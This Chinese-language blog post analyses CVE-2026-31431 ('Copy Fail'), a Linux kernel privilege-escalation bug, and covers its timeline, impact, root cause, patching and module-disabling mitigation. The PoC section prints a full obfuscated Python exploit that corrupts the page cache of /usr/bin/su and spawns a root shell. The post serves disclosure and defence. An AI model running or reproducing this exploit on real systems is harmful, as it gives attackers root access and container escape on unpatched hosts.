CVE-2026-31431 Linux Copy Fail 史诗级提权漏洞分析
本文存在AI生成内容(漏洞技术流程分析)
时间线
| 日期 | 事件 |
|---|---|
| 2011 | AF_ALG 套接字引入内核,向非特权用户态暴露加密子系统 |
| 2017 | 内核提交引入原地操作优化 |
| 2026-03-23 | Theori 研究员 Taeyang Lee 向 Linux 内核安全团队报告漏洞 |
| 2026-04-01 | 修复补丁合并至 Linux 主线内核 |
| 2026-04-22 | CVE-2026-31431 正式分配 |
| 2026-04-29 | 公开披露,PoC 发布 |
| 2026-04-30 | 各主流发行版开始推送补丁 |
危害性
| 指标 | 详情 |
|---|---|
| CVSS | 7.8 (High,CNA 初始评估,NVD 官方 enrich 尚未完成) |
| 利用成功率 | 100%,无需竞争条件 |
| 影响范围 | 2017 年以来几乎所有主流 Linux 发行版 |
| Payload | 732 字节 Python 脚本 |
| 磁盘痕迹 | 无持久磁盘修改 — 仅污染内存页缓存,绕过 inotify;但 AIDE / Tripwire 等工具在污染窗口期内通过 read() 读取页缓存时可发现哈希异常 |
| 容器逃逸 | 页缓存全局共享,容器内触发、宿主机生效 |
与历史内核 LPE 漏洞的对比:
| 特性 | Dirty Cow (2016) | Dirty Pipe (2022) | Copy Fail (2026) |
|---|---|---|---|
| 竞争条件 | 需要 | 不需要 | 不需要 |
| 影响版本 | 特定版本 | 5.8+ | 2017+ 全部主流发行版 |
| 利用代码 | 复杂 | 复杂 | 10 行 Python |
| 磁盘痕迹 | 有 | 有 | 无 |
容器与云环境的致命威胁
| 场景 | 风险描述 |
|---|---|
| 共享主机 / K8s 节点 | 页缓存是宿主机与所有容器全局共享的,容器 A 内修改的 su 缓存页直接污染宿主机 |
| CI/CD Runner | GitHub Actions / GitLab CI 自建 runner 中执行不可信 PR 代码,直接触发提权 |
| 取证困难 | 攻击后页缓存会在自然 I/O 压力下被正常内容覆盖,无持久痕迹 |
PoC 示例
完整利用代码已公开于 theori-io/copy-fail-CVE-2026-31431。 仅供授权环境下的安全研究与防御验证,严禁非法利用。
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
核心原理一句话:
splice()传递只读文件的页缓存引用 →AF_ALG原地优化让只读页被当作可写输出缓冲区 →authencesn越界写 4 字节修改页缓存中的su机器码。修改的是内存中的页缓存,不是磁盘文件,因此不触发 inotify;AIDE / Tripwire 等完整性工具在污染窗口期内通过 read() 读取页缓存时可能发现哈希异常,但磁盘原始文件始终未被改动,重启或缓存回收后恢复正常。
解决方法
截至 2026 年 4 月 30 日,官方补丁已发布。请务必第一时间升级内核!
永久修复:升级内核
sudo apt update && sudo apt upgrade linux-image-generic
sudo reboot
sudo dnf update kernel
sudo reboot
临时缓解(无法立即重启时)
禁用 algif_aead 内核模块,直接消除攻击面:
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead 2>/dev/null || true
验证禁用状态:
lsmod | grep algif_aead # 应无输出
cat /etc/modprobe.d/disable-algif.conf
注意:禁用
algif_aead仅影响通过AF_ALG套接字使用 AEAD 加密的用户态应用。大多数 Web、数据库、容器工作负载不依赖此接口,影响有限。若运行了依赖内核 AEAD socket 的加密软件(如某些 IPsec VPN 配置),请先在测试环境验证。
AI 解析问题根源流程
Copy Fail 由 Theori 的 Xint Code(AI 辅助代码审计工具)在约 1 小时自动扫描中定位。关键洞察 —— "splice() 可将只读页缓存送入 crypto TX scatterlist" —— 来自人类研究员 Taeyang Lee,AI 在此基础上完成了大规模代码扫描与攻击链推理:
graph TD
A["研究员输入提示词:<br>splice() 可将只读页缓存送入 crypto TX scatterlist"] --> B["AI 扫描 algif_aead.c 及关联代码路径"]
B --> C["AI 识别 2017 年原地优化提交 72548b093ee3:<br>输入/输出 scatterlist 指向同一内存位置"]
C --> D["AI 遍历所有 AEAD 算法实现<br>发现 authencesn 存在输出缓冲区越界写行为"]
D --> E["AI 构建完整攻击链:<br>splice() 获取只读页缓存引用 → AF_ALG 加密管道 → authencesn 越界写 → 修改页缓存"]
E --> F["研究员基于 AI 分析结果构建 PoC 验证<br>732 字节 Python 脚本成功提权至 root"]
F --> G["人类研究员审核确认<br>报告 Linux 内核安全团队"]
三个独立"合理优化"的致命交集:
| 变更 | 时间 | 初衷 | 副作用 |
|---|---|---|---|
AF_ALG 套接字 | 2011 | 向用户态暴露内核加密能力 | 普通用户无需特权即可创建加密会话 |
splice() 零拷贝 | - | 避免数据拷贝到用户态 | 可直接传递只读文件的页缓存引用 |
algif_aead 原地优化 | 2017 | 提升 AEAD 运算性能 | 只读页缓存页被当作可写输出缓冲区 |
这意味着什么? 三个单独看都没问题的内核设计,拼在一起就变成了无需竞争、一次执行必定成功、全发行版通杀的提权核弹 💣
参考链接
- Theori 官方披露:xint.io/blog/copy-f…
- 完整 PoC 仓库:github.com/theori-io/c…
- The Register 报道:www.theregister.com/2026/04/30/…
- NVD 官方记录:nvd.nist.gov/vuln/detail…
CVE-2026-31431 Linux Copy Fail 史诗级提权漏洞分析
作者:xingwangzhe
本文链接: xingwangzhe.fun/posts/cve-2…
本文采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。